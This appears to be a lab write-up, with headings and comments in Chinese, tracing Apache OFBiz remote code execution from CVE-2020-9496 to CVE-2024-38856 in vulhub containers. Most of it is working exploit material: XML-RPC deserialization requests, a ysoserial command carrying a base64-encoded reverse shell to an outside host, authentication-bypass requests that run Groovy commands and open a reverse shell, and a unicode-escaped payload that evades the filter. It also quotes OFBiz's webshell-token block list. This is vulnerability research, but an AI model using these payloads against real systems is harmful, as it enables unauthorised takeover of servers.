Apache OFBiz RCE：从CVE-2020-9496到最新CVE-2024-38856

<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">  <security https="false"/>  <event type="xmlrpc"/>  <response name="error" type="none"/>  <response name="success" type="none"/></request-map>

public class SerializableParser extends ByteArrayParser {    public Object getResult() throws XmlRpcException {        try {            byte[] res = (byte[]) super.getResult();            ByteArrayInputStream bais = new ByteArrayInputStream(res);            ObjectInputStream ois = new ObjectInputStream(bais);            return ois.readObject();        } catch (IOException e) {            throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);        } catch (ClassNotFoundException e) {            throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);        }    }}

cd /vulhub/ofbiz/CVE-2020-9496sudo docker compose up -d

POST /webtools/control/xmlrpc HTTP/1.1Host: your-ipContent-Type: application/xmlContent-Length: 4093<?xml version="1.0"?><methodCall>  <methodName>ProjectDiscovery</methodName>  <params>    <param>      <value>        <struct>          <member>            <name>test</name>            <value>              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>            </value>          </member>        </struct>      </value>    </param>  </params></methodCall>

java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"|base64

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        // Get the request URI without the webapp mount point.        String context = ((HttpServletRequest) request).getContextPath();        String uriWithContext = ((HttpServletRequest) request).getRequestURI();        String uri = uriWithContext.substring(context.length());        if ("/control/xmlrpc".equals(uri.toLowerCase())) {            // Read request.getReader() as many time you need            request = new RequestWrapper((HttpServletRequest) request);            String body = request.getReader().lines().collect(Collectors.joining());            if (body.contains("</serializable")) {                Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332                return;            }        }        chain.doFilter(request, response);    }

    public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {        GenericValue userLogin = checkLogout(request, response);        // have to reget this because the old session object will be invalid        HttpSession session = request.getSession();        String username = null;        String password = null;        String token = null;        if (userLogin == null) {            // check parameters            username = request.getParameter("USERNAME");            password = request.getParameter("PASSWORD");            token = request.getParameter("TOKEN");            // check session attributes            if (username == null) username = (String) session.getAttribute("USERNAME");            if (password == null) password = (String) session.getAttribute("PASSWORD");            if (token == null) token = (String) session.getAttribute("TOKEN");            // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error            if (username == null                    || (password == null && token == null)                    || "error".equals(login(request, response))) {                // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error                request.removeAttribute("_LOGIN_PASSED_");                ......                return "error";            }        }        ......        return "success";    }

    public static String login(HttpServletRequest request, HttpServletResponse response) {        HttpSession session = request.getSession();        // Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie).         if (!session.isNew()) {  // Only do when really signing in.             request.changeSessionId();        }        Delegator delegator = (Delegator) request.getAttribute("delegator");        String username = request.getParameter("USERNAME");        String password = request.getParameter("PASSWORD");        String token = request.getParameter("TOKEN");        String forgotPwdFlag = request.getParameter("forgotPwdFlag");        ......        if (username == null) username = (String) session.getAttribute("USERNAME");        if (password == null) password = (String) session.getAttribute("PASSWORD");        if (token == null) token = (String) session.getAttribute("TOKEN");        // allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit...        if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) {            username = (String) request.getAttribute("USERNAME");        }        if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) {            password = (String) request.getAttribute("PASSWORD");        }        if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) {            token = (String) request.getAttribute("TOKEN");        }        ......        boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));        if (!unpwErrMsgList.isEmpty()) {            request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);            return  requirePasswordChange ? "requirePasswordChange" : "error";        }        ......    }

cd /vulhub/ofbiz/CVE-2023-49070sudo docker compose up -d

//进入指定容器sudo docker exec -it CONTAINER_ID /bin/bash//容器中执行apt-get updateapt-get install vimvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头，我的是10.211.55.5//退出容器exit//重启容器sudo docker compose restart

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: your-ipContent-Type: application/xmlContent-Length: 4093<?xml version="1.0"?><methodCall>  <methodName>ProjectDiscovery</methodName>  <params>    <param>      <value>        <struct>          <member>            <name>test</name>            <value>              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>            </value>          </member>        </struct>      </value>    </param>  </params></methodCall>

<request-map uri="ProgramExport">    <security https="true" auth="true"/>    <response name="success" type="view" value="ProgramExport"/>    <response name="error" type="view" value="ProgramExport"/></request-map>

String groovyProgram = nullrecordValues = []errMsgList = []if (!parameters.groovyProgram) {    groovyProgram = '''// Use the List variable recordValues to fill it with GenericValue maps.// full groovy syntaxt is availableimport org.apache.ofbiz.entity.util.EntityFindOptions// example:// find the first three record in the product entity (if any)EntityFindOptions findOptions = new EntityFindOptions()findOptions.setMaxRows(3)List products = delegator.findList("Product", null, null, null, findOptions, false)if (products != null) {    recordValues.addAll(products)}'''    parameters.groovyProgram = groovyProgram} else {    groovyProgram = parameters.groovyProgram}// Add imports for script.def importCustomizer = new ImportCustomizer()importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")def configuration = new CompilerConfiguration()configuration.addCompilationCustomizers(importCustomizer)Binding binding = new Binding()binding.setVariable("delegator", delegator)binding.setVariable("recordValues", recordValues)ClassLoader loader = Thread.currentThread().getContextClassLoader()def shell = new GroovyShell(loader, binding, configuration)if (UtilValidate.isNotEmpty(groovyProgram)) {    try {        if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) {            request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")            return        }        shell.parse(groovyProgram)        shell.evaluate(groovyProgram)        recordValues = shell.getVariable("recordValues")        xmlDoc = GenericValue.makeXmlDocument(recordValues)        context.put("xmlDoc", xmlDoc)        ......}

    public static boolean isValidText(String content, List<String> allowed) throws IOException {        return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));    }

deniedWebShellTokens=freemarker,import="java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,  javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,  fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile

cd vulhub/ofbiz/CVE-2023-51467sudo docker compose up -d//进入指定容器sudo docker exec -it CONTAINER_ID /bin/bash//容器中执行apt-get updateapt-get install vimvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头，我的是10.211.55.5//退出容器exit//重启容器sudo docker compose restart

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: youip:8443Content-Type: application/x-www-form-urlencodedContent-Length: 55groovyProgram=throw+new+Exception('id'.execute().text);

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: 10.211.55.5:8443Content-Type: application/x-www-form-urlencodedContent-Length: 55groovyProgram='bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'.execute();

unzip apache-ofbiz-18.12.14.zipcd apache-ofbiz-18.12.14.zip./gradle/init-gradle-wrapper.sh./gradlew cleanAll loadAll  //需要等一段时间，我等了十多分钟./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=adminvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头，我的是10.211.55.6./gradlew ofbiz

POST /webtools/control/main/ProgramExport HTTP/1.1Host: yourip:8443Content-Type: application/x-www-form-urlencodedContent-Length: 24groovyProgram=u0074u0068u0072u006Fu0077u0020u006Eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006Fu006Eu0028u0027u0077u0068u006Fu0061u006Du0069u0027u002Eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002Eu0074u0065u0078u0074u0029u003B